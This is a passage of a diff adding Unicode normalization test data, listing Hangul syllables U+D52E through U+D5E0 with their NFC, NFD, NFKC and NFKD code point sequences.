+{ source: [0xD52E], NFC: [0xD52E], NFD: [0x1111, 0x1174, 0x11B5], NFKC: [0xD52E], NFKD: [0x1111, 0x1174, 0x11B5] },
+{ source: [0xD52F], NFC: [0xD52F], NFD: [0x1111, 0x1174, 0x11B6], NFKC: [0xD52F], NFKD: [0x1111, 0x1174, 0x11B6] },
+{ source: [0xD530], NFC: [0xD530], NFD: [0x1111, 0x1174, 0x11B7], NFKC: [0xD530], NFKD: [0x1111, 0x1174, 0x11B7] },
+{ source: [0xD531], NFC: [0xD531], NFD: [0x1111, 0x1174, 0x11B8], NFKC: [0xD531], NFKD: [0x1111, 0x1174, 0x11B8] },
+{ source: [0xD532], NFC: [0xD532], NFD: [0x1111, 0x1174, 0x11B9], NFKC: [0xD532], NFKD: [0x1111, 0x1174, 0x11B9] },
+{ source: [0xD533], NFC: [0xD533], NFD: [0x1111, 0x1174, 0x11BA], NFKC: [0xD533], NFKD: [0x1111, 0x1174, 0x11BA] },
+{ source: [0xD534], NFC: [0xD534], NFD: [0x1111, 0x1174, 0x11BB], NFKC: [0xD534], NFKD: [0x1111, 0x1174, 0x11BB] },
+{ source: [0xD535], NFC: [0xD535], NFD: [0x1111, 0x1174, 0x11BC], NFKC: [0xD535], NFKD: [0x1111, 0x1174, 0x11BC] },
+{ source: [0xD536], NFC: [0xD536], NFD: [0x1111, 0x1174, 0x11BD], NFKC: [0xD536], NFKD: [0x1111, 0x1174, 0x11BD] },
+{ source: [0xD537], NFC: [0xD537], NFD: [0x1111, 0x1174, 0x11BE], NFKC: [0xD537], NFKD: [0x1111, 0x1174, 0x11BE] },
+{ source: [0xD538], NFC: [0xD538], NFD: [0x1111, 0x1174, 0x11BF], NFKC: [0xD538], NFKD: [0x1111, 0x1174, 0x11BF] },
+{ source: [0xD539], NFC: [0xD539], NFD: [0x1111, 0x1174, 0x11C0], NFKC: [0xD539], NFKD: [0x1111, 0x1174, 0x11C0] },
+{ source: [0xD53A], NFC: [0xD53A], NFD: [0x1111, 0x1174, 0x11C1], NFKC: [0xD53A], NFKD: [0x1111, 0x1174, 0x11C1] },
+{ source: [0xD53B], NFC: [0xD53B], NFD: [0x1111, 0x1174, 0x11C2], NFKC: [0xD53B], NFKD: [0x1111, 0x1174, 0x11C2] },
+{ source: [0xD53C], NFC: [0xD53C], NFD: [0x1111, 0x1175], NFKC: [0xD53C], NFKD: [0x1111, 0x1175] },
+{ source: [0xD53D], NFC: [0xD53D], NFD: [0x1111, 0x1175, 0x11A8], NFKC: [0xD53D], NFKD: [0x1111, 0x1175, 0x11A8] },
+{ source: [0xD53E], NFC: [0xD53E], NFD: [0x1111, 0x1175, 0x11A9], NFKC: [0xD53E], NFKD: [0x1111, 0x1175, 0x11A9] },
+{ source: [0xD53F], NFC: [0xD53F], NFD: [0x1111, 0x1175, 0x11AA], NFKC: [0xD53F], NFKD: [0x1111, 0x1175, 0x11AA] },
+{ source: [0xD540], NFC: [0xD540], NFD: [0x1111, 0x1175, 0x11AB], NFKC: [0xD540], NFKD: [0x1111, 0x1175, 0x11AB] },
+{ source: [0xD541], NFC: [0xD541], NFD: [0x1111, 0x1175, 0x11AC], NFKC: [0xD541], NFKD: [0x1111, 0x1175, 0x11AC] },
+{ source: [0xD542], NFC: [0xD542], NFD: [0x1111, 0x1175, 0x11AD], NFKC: [0xD542], NFKD: [0x1111, 0x1175, 0x11AD] },
+{ source: [0xD543], NFC: [0xD543], NFD: [0x1111, 0x1175, 0x11AE], NFKC: [0xD543], NFKD: [0x1111, 0x1175, 0x11AE] },
+{ source: [0xD544], NFC: [0xD544], NFD: [0x1111, 0x1175, 0x11AF], NFKC: [0xD544], NFKD: [0x1111, 0x1175, 0x11AF] },
+{ source: [0xD545], NFC: [0xD545], NFD: [0x1111, 0x1175, 0x11B0], NFKC: [0xD545], NFKD: [0x1111, 0x1175, 0x11B0] },
+{ source: [0xD546], NFC: [0xD546], NFD: [0x1111, 0x1175, 0x11B1], NFKC: [0xD546], NFKD: [0x1111, 0x1175, 0x11B1] },
+{ source: [0xD547], NFC: [0xD547], NFD: [0x1111, 0x1175, 0x11B2], NFKC: [0xD547], NFKD: [0x1111, 0x1175, 0x11B2] },
+{ source: [0xD548], NFC: [0xD548], NFD: [0x1111, 0x1175, 0x11B3], NFKC: [0xD548], NFKD: [0x1111, 0x1175, 0x11B3] },
+{ source: [0xD549], NFC: [0xD549], NFD: [0x1111, 0x1175, 0x11B4], NFKC: [0xD549], NFKD: [0x1111, 0x1175, 0x11B4] },
+{ source: [0xD54A], NFC: [0xD54A], NFD: [0x1111, 0x1175, 0x11B5], NFKC: [0xD54A], NFKD: [0x1111, 0x1175, 0x11B5] },
+{ source: [0xD54B], NFC: [0xD54B], NFD: [0x1111, 0x1175, 0x11B6], NFKC: [0xD54B], NFKD: [0x1111, 0x1175, 0x11B6] },
+{ source: [0xD54C], NFC: [0xD54C], NFD: [0x1111, 0x1175, 0x11B7], NFKC: [0xD54C], NFKD: [0x1111, 0x1175, 0x11B7] },
+{ source: [0xD54D], NFC: [0xD54D], NFD: [0x1111, 0x1175, 0x11B8], NFKC: [0xD54D], NFKD: [0x1111, 0x1175, 0x11B8] },
+{ source: [0xD54E], NFC: [0xD54E], NFD: [0x1111, 0x1175, 0x11B9], NFKC: [0xD54E], NFKD: [0x1111, 0x1175, 0x11B9] },
+{ source: [0xD54F], NFC: [0xD54F], NFD: [0x1111, 0x1175, 0x11BA], NFKC: [0xD54F], NFKD: [0x1111, 0x1175, 0x11BA] },
+{ source: [0xD550], NFC: [0xD550], NFD: [0x1111, 0x1175, 0x11BB], NFKC: [0xD550], NFKD: [0x1111, 0x1175, 0x11BB] },
+{ source: [0xD551], NFC: [0xD551], NFD: [0x1111, 0x1175, 0x11BC], NFKC: [0xD551], NFKD: [0x1111, 0x1175, 0x11BC] },
+{ source: [0xD552], NFC: [0xD552], NFD: [0x1111, 0x1175, 0x11BD], NFKC: [0xD552], NFKD: [0x1111, 0x1175, 0x11BD] },
+{ source: [0xD553], NFC: [0xD553], NFD: [0x1111, 0x1175, 0x11BE], NFKC: [0xD553], NFKD: [0x1111, 0x1175, 0x11BE] },
+{ source: [0xD554], NFC: [0xD554], NFD: [0x1111, 0x1175, 0x11BF], NFKC: [0xD554], NFKD: [0x1111, 0x1175, 0x11BF] },
+{ source: [0xD555], NFC: [0xD555], NFD: [0x1111, 0x1175, 0x11C0], NFKC: [0xD555], NFKD: [0x1111, 0x1175, 0x11C0] },
+{ source: [0xD556], NFC: [0xD556], NFD: [0x1111, 0x1175, 0x11C1], NFKC: [0xD556], NFKD: [0x1111, 0x1175, 0x11C1] },
+{ source: [0xD557], NFC: [0xD557], NFD: [0x1111, 0x1175, 0x11C2], NFKC: [0xD557], NFKD: [0x1111, 0x1175, 0x11C2] },
+{ source: [0xD558], NFC: [0xD558], NFD: [0x1112, 0x1161], NFKC: [0xD558], NFKD: [0x1112, 0x1161] },
+{ source: [0xD559], NFC: [0xD559], NFD: [0x1112, 0x1161, 0x11A8], NFKC: [0xD559], NFKD: [0x1112, 0x1161, 0x11A8] },
+{ source: [0xD55A], NFC: [0xD55A], NFD: [0x1112, 0x1161, 0x11A9], NFKC: [0xD55A], NFKD: [0x1112, 0x1161, 0x11A9] },
+{ source: [0xD55B], NFC: [0xD55B], NFD: [0x1112, 0x1161, 0x11AA], NFKC: [0xD55B], NFKD: [0x1112, 0x1161, 0x11AA] },
+{ source: [0xD55C], NFC: [0xD55C], NFD: [0x1112, 0x1161, 0x11AB], NFKC: [0xD55C], NFKD: [0x1112, 0x1161, 0x11AB] },
+{ source: [0xD55D], NFC: [0xD55D], NFD: [0x1112, 0x1161, 0x11AC], NFKC: [0xD55D], NFKD: [0x1112, 0x1161, 0x11AC] },
+{ source: [0xD55E], NFC: [0xD55E], NFD: [0x1112, 0x1161, 0x11AD], NFKC: [0xD55E], NFKD: [0x1112, 0x1161, 0x11AD] },
+{ source: [0xD55F], NFC: [0xD55F], NFD: [0x1112, 0x1161, 0x11AE], NFKC: [0xD55F], NFKD: [0x1112, 0x1161, 0x11AE] },
+{ source: [0xD560], NFC: [0xD560], NFD: [0x1112, 0x1161, 0x11AF], NFKC: [0xD560], NFKD: [0x1112, 0x1161, 0x11AF] },
+{ source: [0xD561], NFC: [0xD561], NFD: [0x1112, 0x1161, 0x11B0], NFKC: [0xD561], NFKD: [0x1112, 0x1161, 0x11B0] },
+{ source: [0xD562], NFC: [0xD562], NFD: [0x1112, 0x1161, 0x11B1], NFKC: [0xD562], NFKD: [0x1112, 0x1161, 0x11B1] },
+{ source: [0xD563], NFC: [0xD563], NFD: [0x1112, 0x1161, 0x11B2], NFKC: [0xD563], NFKD: [0x1112, 0x1161, 0x11B2] },
+{ source: [0xD564], NFC: [0xD564], NFD: [0x1112, 0x1161, 0x11B3], NFKC: [0xD564], NFKD: [0x1112, 0x1161, 0x11B3] },
+{ source: [0xD565], NFC: [0xD565], NFD: [0x1112, 0x1161, 0x11B4], NFKC: [0xD565], NFKD: [0x1112, 0x1161, 0x11B4] },
+{ source: [0xD566], NFC: [0xD566], NFD: [0x1112, 0x1161, 0x11B5], NFKC: [0xD566], NFKD: [0x1112, 0x1161, 0x11B5] },
+{ source: [0xD567], NFC: [0xD567], NFD: [0x1112, 0x1161, 0x11B6], NFKC: [0xD567], NFKD: [0x1112, 0x1161, 0x11B6] },
+{ source: [0xD568], NFC: [0xD568], NFD: [0x1112, 0x1161, 0x11B7], NFKC: [0xD568], NFKD: [0x1112, 0x1161, 0x11B7] },
+{ source: [0xD569], NFC: [0xD569], NFD: [0x1112, 0x1161, 0x11B8], NFKC: [0xD569], NFKD: [0x1112, 0x1161, 0x11B8] },
+{ source: [0xD56A], NFC: [0xD56A], NFD: [0x1112, 0x1161, 0x11B9], NFKC: [0xD56A], NFKD: [0x1112, 0x1161, 0x11B9] },
+{ source: [0xD56B], NFC: [0xD56B], NFD: [0x1112, 0x1161, 0x11BA], NFKC: [0xD56B], NFKD: [0x1112, 0x1161, 0x11BA] },
+{ source: [0xD56C], NFC: [0xD56C], NFD: [0x1112, 0x1161, 0x11BB], NFKC: [0xD56C], NFKD: [0x1112, 0x1161, 0x11BB] },
+{ source: [0xD56D], NFC: [0xD56D], NFD: [0x1112, 0x1161, 0x11BC], NFKC: [0xD56D], NFKD: [0x1112, 0x1161, 0x11BC] },
+{ source: [0xD56E], NFC: [0xD56E], NFD: [0x1112, 0x1161, 0x11BD], NFKC: [0xD56E], NFKD: [0x1112, 0x1161, 0x11BD] },
+{ source: [0xD56F], NFC: [0xD56F], NFD: [0x1112, 0x1161, 0x11BE], NFKC: [0xD56F], NFKD: [0x1112, 0x1161, 0x11BE] },
+{ source: [0xD570], NFC: [0xD570], NFD: [0x1112, 0x1161, 0x11BF], NFKC: [0xD570], NFKD: [0x1112, 0x1161, 0x11BF] },
+{ source: [0xD571], NFC: [0xD571], NFD: [0x1112, 0x1161, 0x11C0], NFKC: [0xD571], NFKD: [0x1112, 0x1161, 0x11C0] },
+{ source: [0xD572], NFC: [0xD572], NFD: [0x1112, 0x1161, 0x11C1], NFKC: [0xD572], NFKD: [0x1112, 0x1161, 0x11C1] },
+{ source: [0xD573], NFC: [0xD573], NFD: [0x1112, 0x1161, 0x11C2], NFKC: [0xD573], NFKD: [0x1112, 0x1161, 0x11C2] },
+{ source: [0xD574], NFC: [0xD574], NFD: [0x1112, 0x1162], NFKC: [0xD574], NFKD: [0x1112, 0x1162] },
+{ source: [0xD575], NFC: [0xD575], NFD: [0x1112, 0x1162, 0x11A8], NFKC: [0xD575], NFKD: [0x1112, 0x1162, 0x11A8] },
+{ source: [0xD576], NFC: [0xD576], NFD: [0x1112, 0x1162, 0x11A9], NFKC: [0xD576], NFKD: [0x1112, 0x1162, 0x11A9] },
+{ source: [0xD577], NFC: [0xD577], NFD: [0x1112, 0x1162, 0x11AA], NFKC: [0xD577], NFKD: [0x1112, 0x1162, 0x11AA] },
+{ source: [0xD578], NFC: [0xD578], NFD: [0x1112, 0x1162, 0x11AB], NFKC: [0xD578], NFKD: [0x1112, 0x1162, 0x11AB] },
+{ source: [0xD579], NFC: [0xD579], NFD: [0x1112, 0x1162, 0x11AC], NFKC: [0xD579], NFKD: [0x1112, 0x1162, 0x11AC] },
+{ source: [0xD57A], NFC: [0xD57A], NFD: [0x1112, 0x1162, 0x11AD], NFKC: [0xD57A], NFKD: [0x1112, 0x1162, 0x11AD] },
+{ source: [0xD57B], NFC: [0xD57B], NFD: [0x1112, 0x1162, 0x11AE], NFKC: [0xD57B], NFKD: [0x1112, 0x1162, 0x11AE] },
+{ source: [0xD57C], NFC: [0xD57C], NFD: [0x1112, 0x1162, 0x11AF], NFKC: [0xD57C], NFKD: [0x1112, 0x1162, 0x11AF] },
+{ source: [0xD57D], NFC: [0xD57D], NFD: [0x1112, 0x1162, 0x11B0], NFKC: [0xD57D], NFKD: [0x1112, 0x1162, 0x11B0] },
+{ source: [0xD57E], NFC: [0xD57E], NFD: [0x1112, 0x1162, 0x11B1], NFKC: [0xD57E], NFKD: [0x1112, 0x1162, 0x11B1] },
+{ source: [0xD57F], NFC: [0xD57F], NFD: [0x1112, 0x1162, 0x11B2], NFKC: [0xD57F], NFKD: [0x1112, 0x1162, 0x11B2] },
+{ source: [0xD580], NFC: [0xD580], NFD: [0x1112, 0x1162, 0x11B3], NFKC: [0xD580], NFKD: [0x1112, 0x1162, 0x11B3] },
+{ source: [0xD581], NFC: [0xD581], NFD: [0x1112, 0x1162, 0x11B4], NFKC: [0xD581], NFKD: [0x1112, 0x1162, 0x11B4] },
+{ source: [0xD582], NFC: [0xD582], NFD: [0x1112, 0x1162, 0x11B5], NFKC: [0xD582], NFKD: [0x1112, 0x1162, 0x11B5] },
+{ source: [0xD583], NFC: [0xD583], NFD: [0x1112, 0x1162, 0x11B6], NFKC: [0xD583], NFKD: [0x1112, 0x1162, 0x11B6] },
+{ source: [0xD584], NFC: [0xD584], NFD: [0x1112, 0x1162, 0x11B7], NFKC: [0xD584], NFKD: [0x1112, 0x1162, 0x11B7] },
+{ source: [0xD585], NFC: [0xD585], NFD: [0x1112, 0x1162, 0x11B8], NFKC: [0xD585], NFKD: [0x1112, 0x1162, 0x11B8] },
+{ source: [0xD586], NFC: [0xD586], NFD: [0x1112, 0x1162, 0x11B9], NFKC: [0xD586], NFKD: [0x1112, 0x1162, 0x11B9] },
+{ source: [0xD587], NFC: [0xD587], NFD: [0x1112, 0x1162, 0x11BA], NFKC: [0xD587], NFKD: [0x1112, 0x1162, 0x11BA] },
+{ source: [0xD588], NFC: [0xD588], NFD: [0x1112, 0x1162, 0x11BB], NFKC: [0xD588], NFKD: [0x1112, 0x1162, 0x11BB] },
+{ source: [0xD589], NFC: [0xD589], NFD: [0x1112, 0x1162, 0x11BC], NFKC: [0xD589], NFKD: [0x1112, 0x1162, 0x11BC] },
+{ source: [0xD58A], NFC: [0xD58A], NFD: [0x1112, 0x1162, 0x11BD], NFKC: [0xD58A], NFKD: [0x1112, 0x1162, 0x11BD] },
+{ source: [0xD58B], NFC: [0xD58B], NFD: [0x1112, 0x1162, 0x11BE], NFKC: [0xD58B], NFKD: [0x1112, 0x1162, 0x11BE] },
+{ source: [0xD58C], NFC: [0xD58C], NFD: [0x1112, 0x1162, 0x11BF], NFKC: [0xD58C], NFKD: [0x1112, 0x1162, 0x11BF] },
+{ source: [0xD58D], NFC: [0xD58D], NFD: [0x1112, 0x1162, 0x11C0], NFKC: [0xD58D], NFKD: [0x1112, 0x1162, 0x11C0] },
+{ source: [0xD58E], NFC: [0xD58E], NFD: [0x1112, 0x1162, 0x11C1], NFKC: [0xD58E], NFKD: [0x1112, 0x1162, 0x11C1] },
+{ source: [0xD58F], NFC: [0xD58F], NFD: [0x1112, 0x1162, 0x11C2], NFKC: [0xD58F], NFKD: [0x1112, 0x1162, 0x11C2] },
+{ source: [0xD590], NFC: [0xD590], NFD: [0x1112, 0x1163], NFKC: [0xD590], NFKD: [0x1112, 0x1163] },
+{ source: [0xD591], NFC: [0xD591], NFD: [0x1112, 0x1163, 0x11A8], NFKC: [0xD591], NFKD: [0x1112, 0x1163, 0x11A8] },
+{ source: [0xD592], NFC: [0xD592], NFD: [0x1112, 0x1163, 0x11A9], NFKC: [0xD592], NFKD: [0x1112, 0x1163, 0x11A9] },
+{ source: [0xD593], NFC: [0xD593], NFD: [0x1112, 0x1163, 0x11AA], NFKC: [0xD593], NFKD: [0x1112, 0x1163, 0x11AA] },
+{ source: [0xD594], NFC: [0xD594], NFD: [0x1112, 0x1163, 0x11AB], NFKC: [0xD594], NFKD: [0x1112, 0x1163, 0x11AB] },
+{ source: [0xD595], NFC: [0xD595], NFD: [0x1112, 0x1163, 0x11AC], NFKC: [0xD595], NFKD: [0x1112, 0x1163, 0x11AC] },
+{ source: [0xD596], NFC: [0xD596], NFD: [0x1112, 0x1163, 0x11AD], NFKC: [0xD596], NFKD: [0x1112, 0x1163, 0x11AD] },
+{ source: [0xD597], NFC: [0xD597], NFD: [0x1112, 0x1163, 0x11AE], NFKC: [0xD597], NFKD: [0x1112, 0x1163, 0x11AE] },
+{ source: [0xD598], NFC: [0xD598], NFD: [0x1112, 0x1163, 0x11AF], NFKC: [0xD598], NFKD: [0x1112, 0x1163, 0x11AF] },
+{ source: [0xD599], NFC: [0xD599], NFD: [0x1112, 0x1163, 0x11B0], NFKC: [0xD599], NFKD: [0x1112, 0x1163, 0x11B0] },
+{ source: [0xD59A], NFC: [0xD59A], NFD: [0x1112, 0x1163, 0x11B1], NFKC: [0xD59A], NFKD: [0x1112, 0x1163, 0x11B1] },
+{ source: [0xD59B], NFC: [0xD59B], NFD: [0x1112, 0x1163, 0x11B2], NFKC: [0xD59B], NFKD: [0x1112, 0x1163, 0x11B2] },
+{ source: [0xD59C], NFC: [0xD59C], NFD: [0x1112, 0x1163, 0x11B3], NFKC: [0xD59C], NFKD: [0x1112, 0x1163, 0x11B3] },
+{ source: [0xD59D], NFC: [0xD59D], NFD: [0x1112, 0x1163, 0x11B4], NFKC: [0xD59D], NFKD: [0x1112, 0x1163, 0x11B4] },
+{ source: [0xD59E], NFC: [0xD59E], NFD: [0x1112, 0x1163, 0x11B5], NFKC: [0xD59E], NFKD: [0x1112, 0x1163, 0x11B5] },
+{ source: [0xD59F], NFC: [0xD59F], NFD: [0x1112, 0x1163, 0x11B6], NFKC: [0xD59F], NFKD: [0x1112, 0x1163, 0x11B6] },
+{ source: [0xD5A0], NFC: [0xD5A0], NFD: [0x1112, 0x1163, 0x11B7], NFKC: [0xD5A0], NFKD: [0x1112, 0x1163, 0x11B7] },
+{ source: [0xD5A1], NFC: [0xD5A1], NFD: [0x1112, 0x1163, 0x11B8], NFKC: [0xD5A1], NFKD: [0x1112, 0x1163, 0x11B8] },
+{ source: [0xD5A2], NFC: [0xD5A2], NFD: [0x1112, 0x1163, 0x11B9], NFKC: [0xD5A2], NFKD: [0x1112, 0x1163, 0x11B9] },
+{ source: [0xD5A3], NFC: [0xD5A3], NFD: [0x1112, 0x1163, 0x11BA], NFKC: [0xD5A3], NFKD: [0x1112, 0x1163, 0x11BA] },
+{ source: [0xD5A4], NFC: [0xD5A4], NFD: [0x1112, 0x1163, 0x11BB], NFKC: [0xD5A4], NFKD: [0x1112, 0x1163, 0x11BB] },
+{ source: [0xD5A5], NFC: [0xD5A5], NFD: [0x1112, 0x1163, 0x11BC], NFKC: [0xD5A5], NFKD: [0x1112, 0x1163, 0x11BC] },
+{ source: [0xD5A6], NFC: [0xD5A6], NFD: [0x1112, 0x1163, 0x11BD], NFKC: [0xD5A6], NFKD: [0x1112, 0x1163, 0x11BD] },
+{ source: [0xD5A7], NFC: [0xD5A7], NFD: [0x1112, 0x1163, 0x11BE], NFKC: [0xD5A7], NFKD: [0x1112, 0x1163, 0x11BE] },
+{ source: [0xD5A8], NFC: [0xD5A8], NFD: [0x1112, 0x1163, 0x11BF], NFKC: [0xD5A8], NFKD: [0x1112, 0x1163, 0x11BF] },
+{ source: [0xD5A9], NFC: [0xD5A9], NFD: [0x1112, 0x1163, 0x11C0], NFKC: [0xD5A9], NFKD: [0x1112, 0x1163, 0x11C0] },
+{ source: [0xD5AA], NFC: [0xD5AA], NFD: [0x1112, 0x1163, 0x11C1], NFKC: [0xD5AA], NFKD: [0x1112, 0x1163, 0x11C1] },
+{ source: [0xD5AB], NFC: [0xD5AB], NFD: [0x1112, 0x1163, 0x11C2], NFKC: [0xD5AB], NFKD: [0x1112, 0x1163, 0x11C2] },
+{ source: [0xD5AC], NFC: [0xD5AC], NFD: [0x1112, 0x1164], NFKC: [0xD5AC], NFKD: [0x1112, 0x1164] },
+{ source: [0xD5AD], NFC: [0xD5AD], NFD: [0x1112, 0x1164, 0x11A8], NFKC: [0xD5AD], NFKD: [0x1112, 0x1164, 0x11A8] },
+{ source: [0xD5AE], NFC: [0xD5AE], NFD: [0x1112, 0x1164, 0x11A9], NFKC: [0xD5AE], NFKD: [0x1112, 0x1164, 0x11A9] },
+{ source: [0xD5AF], NFC: [0xD5AF], NFD: [0x1112, 0x1164, 0x11AA], NFKC: [0xD5AF], NFKD: [0x1112, 0x1164, 0x11AA] },
+{ source: [0xD5B0], NFC: [0xD5B0], NFD: [0x1112, 0x1164, 0x11AB], NFKC: [0xD5B0], NFKD: [0x1112, 0x1164, 0x11AB] },
+{ source: [0xD5B1], NFC: [0xD5B1], NFD: [0x1112, 0x1164, 0x11AC], NFKC: [0xD5B1], NFKD: [0x1112, 0x1164, 0x11AC] },
+{ source: [0xD5B2], NFC: [0xD5B2], NFD: [0x1112, 0x1164, 0x11AD], NFKC: [0xD5B2], NFKD: [0x1112, 0x1164, 0x11AD] },
+{ source: [0xD5B3], NFC: [0xD5B3], NFD: [0x1112, 0x1164, 0x11AE], NFKC: [0xD5B3], NFKD: [0x1112, 0x1164, 0x11AE] },
+{ source: [0xD5B4], NFC: [0xD5B4], NFD: [0x1112, 0x1164, 0x11AF], NFKC: [0xD5B4], NFKD: [0x1112, 0x1164, 0x11AF] },
+{ source: [0xD5B5], NFC: [0xD5B5], NFD: [0x1112, 0x1164, 0x11B0], NFKC: [0xD5B5], NFKD: [0x1112, 0x1164, 0x11B0] },
+{ source: [0xD5B6], NFC: [0xD5B6], NFD: [0x1112, 0x1164, 0x11B1], NFKC: [0xD5B6], NFKD: [0x1112, 0x1164, 0x11B1] },
+{ source: [0xD5B7], NFC: [0xD5B7], NFD: [0x1112, 0x1164, 0x11B2], NFKC: [0xD5B7], NFKD: [0x1112, 0x1164, 0x11B2] },
+{ source: [0xD5B8], NFC: [0xD5B8], NFD: [0x1112, 0x1164, 0x11B3], NFKC: [0xD5B8], NFKD: [0x1112, 0x1164, 0x11B3] },
+{ source: [0xD5B9], NFC: [0xD5B9], NFD: [0x1112, 0x1164, 0x11B4], NFKC: [0xD5B9], NFKD: [0x1112, 0x1164, 0x11B4] },
+{ source: [0xD5BA], NFC: [0xD5BA], NFD: [0x1112, 0x1164, 0x11B5], NFKC: [0xD5BA], NFKD: [0x1112, 0x1164, 0x11B5] },
+{ source: [0xD5BB], NFC: [0xD5BB], NFD: [0x1112, 0x1164, 0x11B6], NFKC: [0xD5BB], NFKD: [0x1112, 0x1164, 0x11B6] },
+{ source: [0xD5BC], NFC: [0xD5BC], NFD: [0x1112, 0x1164, 0x11B7], NFKC: [0xD5BC], NFKD: [0x1112, 0x1164, 0x11B7] },
+{ source: [0xD5BD], NFC: [0xD5BD], NFD: [0x1112, 0x1164, 0x11B8], NFKC: [0xD5BD], NFKD: [0x1112, 0x1164, 0x11B8] },
+{ source: [0xD5BE], NFC: [0xD5BE], NFD: [0x1112, 0x1164, 0x11B9], NFKC: [0xD5BE], NFKD: [0x1112, 0x1164, 0x11B9] },
+{ source: [0xD5BF], NFC: [0xD5BF], NFD: [0x1112, 0x1164, 0x11BA], NFKC: [0xD5BF], NFKD: [0x1112, 0x1164, 0x11BA] },
+{ source: [0xD5C0], NFC: [0xD5C0], NFD: [0x1112, 0x1164, 0x11BB], NFKC: [0xD5C0], NFKD: [0x1112, 0x1164, 0x11BB] },
+{ source: [0xD5C1], NFC: [0xD5C1], NFD: [0x1112, 0x1164, 0x11BC], NFKC: [0xD5C1], NFKD: [0x1112, 0x1164, 0x11BC] },
+{ source: [0xD5C2], NFC: [0xD5C2], NFD: [0x1112, 0x1164, 0x11BD], NFKC: [0xD5C2], NFKD: [0x1112, 0x1164, 0x11BD] },
+{ source: [0xD5C3], NFC: [0xD5C3], NFD: [0x1112, 0x1164, 0x11BE], NFKC: [0xD5C3], NFKD: [0x1112, 0x1164, 0x11BE] },
+{ source: [0xD5C4], NFC: [0xD5C4], NFD: [0x1112, 0x1164, 0x11BF], NFKC: [0xD5C4], NFKD: [0x1112, 0x1164, 0x11BF] },
+{ source: [0xD5C5], NFC: [0xD5C5], NFD: [0x1112, 0x1164, 0x11C0], NFKC: [0xD5C5], NFKD: [0x1112, 0x1164, 0x11C0] },
+{ source: [0xD5C6], NFC: [0xD5C6], NFD: [0x1112, 0x1164, 0x11C1], NFKC: [0xD5C6], NFKD: [0x1112, 0x1164, 0x11C1] },
+{ source: [0xD5C7], NFC: [0xD5C7], NFD: [0x1112, 0x1164, 0x11C2], NFKC: [0xD5C7], NFKD: [0x1112, 0x1164, 0x11C2] },
+{ source: [0xD5C8], NFC: [0xD5C8], NFD: [0x1112, 0x1165], NFKC: [0xD5C8], NFKD: [0x1112, 0x1165] },
+{ source: [0xD5C9], NFC: [0xD5C9], NFD: [0x1112, 0x1165, 0x11A8], NFKC: [0xD5C9], NFKD: [0x1112, 0x1165, 0x11A8] },
+{ source: [0xD5CA], NFC: [0xD5CA], NFD: [0x1112, 0x1165, 0x11A9], NFKC: [0xD5CA], NFKD: [0x1112, 0x1165, 0x11A9] },
+{ source: [0xD5CB], NFC: [0xD5CB], NFD: [0x1112, 0x1165, 0x11AA], NFKC: [0xD5CB], NFKD: [0x1112, 0x1165, 0x11AA] },
+{ source: [0xD5CC], NFC: [0xD5CC], NFD: [0x1112, 0x1165, 0x11AB], NFKC: [0xD5CC], NFKD: [0x1112, 0x1165, 0x11AB] },
+{ source: [0xD5CD], NFC: [0xD5CD], NFD: [0x1112, 0x1165, 0x11AC], NFKC: [0xD5CD], NFKD: [0x1112, 0x1165, 0x11AC] },
+{ source: [0xD5CE], NFC: [0xD5CE], NFD: [0x1112, 0x1165, 0x11AD], NFKC: [0xD5CE], NFKD: [0x1112, 0x1165, 0x11AD] },
+{ source: [0xD5CF], NFC: [0xD5CF], NFD: [0x1112, 0x1165, 0x11AE], NFKC: [0xD5CF], NFKD: [0x1112, 0x1165, 0x11AE] },
+{ source: [0xD5D0], NFC: [0xD5D0], NFD: [0x1112, 0x1165, 0x11AF], NFKC: [0xD5D0], NFKD: [0x1112, 0x1165, 0x11AF] },
+{ source: [0xD5D1], NFC: [0xD5D1], NFD: [0x1112, 0x1165, 0x11B0], NFKC: [0xD5D1], NFKD: [0x1112, 0x1165, 0x11B0] },
+{ source: [0xD5D2], NFC: [0xD5D2], NFD: [0x1112, 0x1165, 0x11B1], NFKC: [0xD5D2], NFKD: [0x1112, 0x1165, 0x11B1] },
+{ source: [0xD5D3], NFC: [0xD5D3], NFD: [0x1112, 0x1165, 0x11B2], NFKC: [0xD5D3], NFKD: [0x1112, 0x1165, 0x11B2] },
+{ source: [0xD5D4], NFC: [0xD5D4], NFD: [0x1112, 0x1165, 0x11B3], NFKC: [0xD5D4], NFKD: [0x1112, 0x1165, 0x11B3] },
+{ source: [0xD5D5], NFC: [0xD5D5], NFD: [0x1112, 0x1165, 0x11B4], NFKC: [0xD5D5], NFKD: [0x1112, 0x1165, 0x11B4] },
+{ source: [0xD5D6], NFC: [0xD5D6], NFD: [0x1112, 0x1165, 0x11B5], NFKC: [0xD5D6], NFKD: [0x1112, 0x1165, 0x11B5] },
+{ source: [0xD5D7], NFC: [0xD5D7], NFD: [0x1112, 0x1165, 0x11B6], NFKC: [0xD5D7], NFKD: [0x1112, 0x1165, 0x11B6] },
+{ source: [0xD5D8], NFC: [0xD5D8], NFD: [0x1112, 0x1165, 0x11B7], NFKC: [0xD5D8], NFKD: [0x1112, 0x1165, 0x11B7] },
+{ source: [0xD5D9], NFC: [0xD5D9], NFD: [0x1112, 0x1165, 0x11B8], NFKC: [0xD5D9], NFKD: [0x1112, 0x1165, 0x11B8] },
+{ source: [0xD5DA], NFC: [0xD5DA], NFD: [0x1112, 0x1165, 0x11B9], NFKC: [0xD5DA], NFKD: [0x1112, 0x1165, 0x11B9] },
+{ source: [0xD5DB], NFC: [0xD5DB], NFD: [0x1112, 0x1165, 0x11BA], NFKC: [0xD5DB], NFKD: [0x1112, 0x1165, 0x11BA] },
+{ source: [0xD5DC], NFC: [0xD5DC], NFD: [0x1112, 0x1165, 0x11BB], NFKC: [0xD5DC], NFKD: [0x1112, 0x1165, 0x11BB] },
+{ source: [0xD5DD], NFC: [0xD5DD], NFD: [0x1112, 0x1165, 0x11BC], NFKC: [0xD5DD], NFKD: [0x1112, 0x1165, 0x11BC] },
+{ source: [0xD5DE], NFC: [0xD5DE], NFD: [0x1112, 0x1165, 0x11BD], NFKC: [0xD5DE], NFKD: [0x1112, 0x1165, 0x11BD] },
+{ source: [0xD5DF], NFC: [0xD5DF], NFD: [0x1112, 0x1165, 0x11BE], NFKC: [0xD5DF], NFKD: [0x1112, 0x1165, 0x11BE] },
+{ source: [0xD5E0], NFC: [0xD5E0], NFD: [0x1112, 0x1165, 0x11BF], NFKC: [0xD5E0], NFKD: [0x1112, 0x1165, 0x11BF] },
